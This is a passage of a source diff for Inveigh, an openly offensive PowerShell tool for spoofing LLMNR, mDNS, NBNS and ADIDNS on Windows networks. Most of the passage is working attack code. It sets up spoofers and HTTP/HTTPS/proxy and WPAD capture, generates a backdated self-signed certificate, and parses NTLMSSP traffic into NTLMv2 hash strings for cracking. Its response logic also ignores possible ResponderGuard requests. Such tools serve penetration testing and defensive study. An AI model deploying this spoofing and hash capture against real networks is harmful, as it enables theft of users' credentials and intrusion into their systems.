ADIDNS Cleanup = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[+] ADIDNS Cleanup = Disabled") > $null + } -if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') + if($ADIDNS -eq 'Combo') + { + $inveigh.request_table_updated = $true + } + +} +else { - $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null + $inveigh.output_queue.Add("[+] ADIDNS Spoofer = Disabled") > $null } if($LLMNR -eq 'Y') @@ -709,21 +893,20 @@ if($LLMNR -eq 'Y') if($elevated_privilege -or !$LLMNR_port_check) { - $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- response sent" + $inveigh.output_queue.Add("[+] LLMNR Spoofer = Enabled") > $null + $inveigh.output_queue.Add("[+] LLMNR TTL = $LLMNRTTL Seconds") > $null } else { $LLMNR = "N" - $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null + $inveigh.output_queue.Add("[-] LLMNR Spoofer Disabled Due To In Use Port 5355") > $null } } else { - $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofer is disabled" + $inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "[spoofer disabled]" } if($mDNS -eq 'Y') @@ -735,121 +918,118 @@ if($mDNS -eq 'Y') if($mDNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null } - $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null - $mDNS_response_message = "- response sent" - + $inveigh.output_queue.Add("[+] mDNS TTL = $mDNSTTL Seconds") > $null } else { $mDNS = "N" - $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null + $inveigh.output_queue.Add("[-] mDNS Spoofer Disabled Due To In Use Port 5353") > $null } } else { - $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null - $mDNS_response_message = "- mDNS spoofer is disabled" + $inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled") > $null + $mDNS_response_message = "[spoofer disabled]" } if($NBNS -eq 'Y') { $NBNSTypes_output = $NBNSTypes -join "," - $NBNS_response_message = "- response sent" if($NBNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } } else { - $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null - $NBNS_response_message = "- NBNS spoofer is disabled" + $inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "[spoofer disabled]" } if($NBNSBruteForce -eq 'Y') { - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null if($NBNSBruteForcePause) { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null } } if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') { - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null + $inveigh.output_queue.Add("[+] NBNS TTL = $NBNSTTL Seconds") > $null } if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning = Enabled") > $null if($SpooferLearningDelay -eq 1) { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null } elseif($SpooferLearningDelay -gt 1) { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null } if($SpooferLearningInterval -eq 1) { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null } elseif($SpooferLearningInterval -eq 0) { - $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = Disabled") > $null } elseif($SpooferLearningInterval -gt 1) { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null } } if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null } if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null } if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null } if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null } if($SpooferRepeat -eq 'N') { $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Repeating = Disabled") > $null } else { @@ -858,11 +1038,11 @@ else if($SMB -eq 'Y' -and $elevated_privilege) { - $inveigh.status_queue.Add("SMB Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] SMB Capture = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] SMB Capture = Disabled") > $null } if($HTTP -eq 'Y') @@ -871,28 +1051,28 @@ if($HTTP -eq 'Y') if($HTTP_port_check) { $HTTP = "N" - $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null + $inveigh.output_queue.Add("[-] HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null } else { if($HTTPIP -ne '0.0.0.0') { - $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null + $inveigh.output_queue.Add("[+] HTTP IP = $HTTPIP") > $null } if($HTTPPort -ne 80) { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null } - $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTP Capture = Enabled") > $null } } else { - $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] HTTP Capture = Disabled") > $null } if($HTTPS -eq 'Y') @@ -902,7 +1082,7 @@ if($HTTPS -eq 'Y') { $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null + $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null } else { @@ -911,13 +1091,13 @@ if($HTTPS -eq 'Y') { $inveigh.certificate_issuer = $HTTPSCertIssuer $inveigh.certificate_CN = $HTTPSCertSubject - $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null - $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $inveigh.output_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.output_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) if(!$certificate_check) { - # credit to subTee for cert creation code https://github.com/subTee/Interceptor + # credit to subTee for cert creation code from Interceptor $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" @@ -931,14 +1111,14 @@ if($HTTPS -eq 'Y') $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" - $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_OID.Add($certificate_server_auth_OID) $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" $certificate.InitializeFromPrivateKey(2,$certificate_key,"") $certificate.Subject = $certificate_distinguished_name $certificate.Issuer = $certificate_issuer_distinguished_name - $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotBefore = (Get-Date).AddDays(-271) $certificate.NotAfter = $certificate.NotBefore.AddDays(824) $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") @@ -963,29 +1143,29 @@ if($HTTPS -eq 'Y') } $inveigh.HTTPS_existing_certificate = $true - $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null } $inveigh.HTTPS = $true if($HTTPIP -ne '0.0.0.0') { - $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null + $inveigh.output_queue.Add("[+] HTTPS IP = $HTTPIP") > $null } if($HTTPSPort -ne 443) { - $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null + $inveigh.output_queue.Add("[+] HTTPS Port = $HTTPSPort") > $null } - $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Enabled") > $null } catch { $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null + $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To Certificate Error") > $null } } @@ -993,62 +1173,42 @@ if($HTTPS -eq 'Y') } else { - $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Disabled") > $null } if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') { - $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($WPADAuth -like "NTLM*") - { - $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - - if($WPADAuthIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null - } - - } + $inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth") > $null if($HTTPDir -and !$HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Directory = $HTTPDir") > $null if($HTTPDefaultFile) { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null } if($HTTPDefaultEXE) { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null } } if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Response = Enabled") > $null } if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') { - $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + $inveigh.output_queue.Add("[+] Basic Authentication Realm = $HTTPBasicRealm") > $null } if($Proxy -eq 'Y') @@ -1057,19 +1217,19 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') if($proxy_port_check) { $Proxy = "N" - $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null + $inveigh.output_queue.Add("[-] Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null } else { - $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null - $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null - $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $inveigh.output_queue.Add("[+] Proxy Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null + $inveigh.output_queue.Add("[+] Proxy Authentication = $ProxyAuth") > $null $ProxyPortFailover = $ProxyPort + 1 $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) if($ProxyIgnore.Count -gt 0) { - $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null } if($ProxyIP -eq '0.0.0.0') @@ -1094,44 +1254,58 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -like "NTLM*") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + if($WPADDirectHosts) { - ForEach($WPAD_direct_host in $WPADDirectHosts) + foreach($WPAD_direct_host in $WPADDirectHosts) { $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } if($WPADResponse -and $Proxy -eq 'N') { - $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Custom Response = Enabled") > $null } elseif($WPADResponse -and $Proxy -eq 'Y') { - $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Proxy Response = Enabled") > $null if($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null + $inveigh.output_queue.Add("[+] WPAD Failover = $WPADIP`:$WPADPort") > $null } } elseif($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Response = Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + $inveigh.output_queue.Add("[+] WPAD Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD = $WPADIP`:$WPADPort") > $null if($WPADDirectHosts) { - ForEach($WPAD_direct_host in $WPADDirectHosts) + + foreach($WPAD_direct_host in $WPADDirectHosts) { $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } else { @@ -1141,48 +1315,54 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } elseif($WPADDirectFile -eq 'Y') { - $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Default Response = Enabled") > $null $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" } if($Challenge) { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null + $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null } } if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else { + $inveigh.output_queue.Add("[+] Machine Account Capture = Enabled") > $null $inveigh.machine_accounts = $true } if($ConsoleOutput -ne 'N') { - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null - } - else + if($ConsoleOutput -ne 'N') { - $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + + if($ConsoleOutput -eq 'Y') + { + $inveigh.output_queue.Add("[+] Console Output = Full") > $null + } + else + { + $inveigh.output_queue.Add("[+] Console Output = $ConsoleOutput") > $null + } + } $inveigh.console_output = $true if($ConsoleStatus -eq 1) { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null } elseif($ConsoleStatus -gt 1) { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null } } @@ -1191,11 +1371,11 @@ else if($inveigh.tool -eq 1) { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + $inveigh.output_queue.Add("[+] Console Output Disabled Due To External Tool Selection") > $null } else { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null + $inveigh.output_queue.Add("[+] Console Output = Disabled") > $null } } @@ -1211,13 +1391,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null + $inveigh.output_queue.Add("[+] File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null + $inveigh.output_queue.Add("[+] File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -1229,230 +1409,1280 @@ else $inveigh.file_unique = $false } +if($LogOutput -eq 'Y') +{ + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + if($RunCount) { - $inveigh.status_queue.Add("Run Count = $RunCount") > $null + $inveigh.output_queue.Add("[+] Run Count = $RunCount") > $null } if($RunTime -eq 1) { - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null } elseif($RunTime -gt 1) { - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null } if($ShowHelp -eq 'Y') { - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null + if($inveigh.console_output) { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null + $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null } } -if($inveigh.status_output) +while($inveigh.output_queue.Count -gt 0) { - while($inveigh.status_queue.Count -gt 0) + switch -Wildcard ($inveigh.output_queue[0]) { - switch -Wildcard ($inveigh.status_queue[0]) + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { - {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} + if($inveigh.status_output -and $inveigh.output_stream_only) { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Warning($inveigh.output_queue[0]) + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.status_queue[0]) - } + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } - $inveigh.status_queue.RemoveAt(0) + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null } - default + $inveigh.output_queue.RemoveAt(0) + } + + default + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) { + Write-Output($inveigh.output_queue[0]) + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.status_queue[0]) - } + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } - $inveigh.status_queue.RemoveAt(0) + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null } + $inveigh.output_queue.RemoveAt(0) } } } -# Begin ScriptBlocks +$inveigh.status_output = $false + +#endregion +#region begin script blocks # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - - function DataToUInt32($field) + function Get-UInt16DataLength { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } + param ([Int]$Start,[Byte[]]$Data) - function DataLength2 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length + return $data_length } - function DataLength4 + function Get-UInt32DataLength { - param ([Int]$length_start,[Byte[]]$string_extract_data) + param ([Int]$Start,[Byte[]]$Data) + + $data_length = [System.BitConverter]::ToUInt32($Data[$Start..($Start + 3)],0) - $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) - return $string_length + return $data_length } - function DataToString + function Convert-DataToString { - param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) + param ([Int]$Start,[Int]$Length,[Byte[]]$Data) - $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) + $string_data = [System.BitConverter]::ToString($Data[$Start..($Start + $Length - 1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract } - function ConvertFrom-PacketOrderedDictionary + function Convert-DataToUInt16($field) { - param($packet_ordered_dictionary) - - ForEach($field in $packet_ordered_dictionary.Values) - { - $byte_array += $field - } - - return $byte_array + [Array]::Reverse($field) + return [System.BitConverter]::ToUInt16($field,0) } -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response -$SMB_NTLM_functions_scriptblock = -{ - - function SMBNTLMChallenge + function Convert-DataToUInt32($field) { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge + [Array]::Reverse($field) + return [System.BitConverter]::ToUInt32($field,0) } - function SMBNTLMResponse + function Get-SpooferResponseMessage { - param ([Byte[]]$payload_bytes) + param ([String]$QueryString,[String]$Type,[String]$mDNSType) - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") + $response_type = "[+]" - if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $QueryString) { - $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 - - $LM_length = DataLength2 ($NTLMSSP_offset + 12) $payload_bytes - $LM_offset = DataLength4 ($NTLMSSP_offset + 16) $payload_bytes - $LM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" - - $NTLM_length = DataLength2 ($NTLMSSP_offset + 20) $payload_bytes - $NTLM_offset = DataLength4 ($NTLMSSP_offset + 24) $payload_bytes - $NTLM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - - $domain_length = DataLength2 ($NTLMSSP_offset + 28) $payload_bytes - $domain_offset = DataLength4 ($NTLMSSP_offset + 32) $payload_bytes - $NTLM_domain_string = DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $payload_bytes - - $user_length = DataLength2 ($NTLMSSP_offset + 36) $payload_bytes - $user_offset = DataLength4 ($NTLMSSP_offset + 40) $payload_bytes - $NTLM_user_string = DataToString ($NTLMSSP_offset + $user_offset) $user_length $payload_bytes - - $host_length = DataLength2 ($NTLMSSP_offset + 44) $payload_bytes - $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes - $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes - - if($NTLM_length -gt 24) - { - $NTLMv2_response = $NTLM_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } + $response_message = "[$QueryString not on reply list]" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $QueryString) + { + $response_message = "[$QueryString is on ignore list]" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $response_message = "[$source_IP not on reply list]" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $response_message = "[$source_IP is on ignore list]" + } + elseif($inveigh.valid_host_list -contains $query_string) + { + $response_message = "[$query_string is a valid host]" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $response_message = "[previous $source_IP capture]" + } + elseif($source_IP.IPAddressToString -eq $IP) + { + $response_message = "[local request ignored]" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($Type -ne 'mDNS' -and $destination_IP.IPAddressToString -eq $IP) + { + $response_message = "[possible ResponderGuard request ignored]" + $response_type = "[!]" + } + elseif($Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type) + { + $response_message = "[NBNS type disabled]" + } + elseif($Type -eq 'NBNS' -and $QueryString.Trim() -eq '*') + { + $response_message = "[NBSTAT request]" + } + elseif($Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType) + { + $response_message = "[mDNS type 